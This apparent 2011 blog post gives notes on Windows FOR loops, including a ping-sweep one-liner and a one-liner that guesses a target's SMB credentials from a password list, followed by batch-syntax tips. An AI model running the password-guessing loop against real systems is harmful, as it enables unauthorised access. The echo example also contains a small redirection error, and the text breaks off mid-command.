Skip to main content

Posts

Showing posts from February, 2011

FOR Loops

>>  FOR /L %i in (1,1,255) do @ping -n 1 10.10.10.%i | find "Reply" --> is a ping sweep >>  FOR /f %i in (password.lst) do @echo %i & @net use file://target_ip_addr/ %i /u:[username] 2>nul &&  pause --> password guess; instead of pause, we could append our results to a file with : && echo Username: %i >> success.txt >>  FOR /L %i in (1,1,255) do echo %i & ping -n 5 127.0.0.1 & cls --> [command1] & [command2] --> run multiple commands [command1] && [command2] --> run multiple commands only if the prior command is succeeded without error u could use the echo cmd to build a script line by line by running the following cmd several times, varying the line each time you run it c:\ echo [line] << file.bat The FOR loop variable must be changed from %[var] to %%[var] to make in a batch file. Place 2 %age sign infront of each vaiable name ========================= windows>for /L %i in (1,1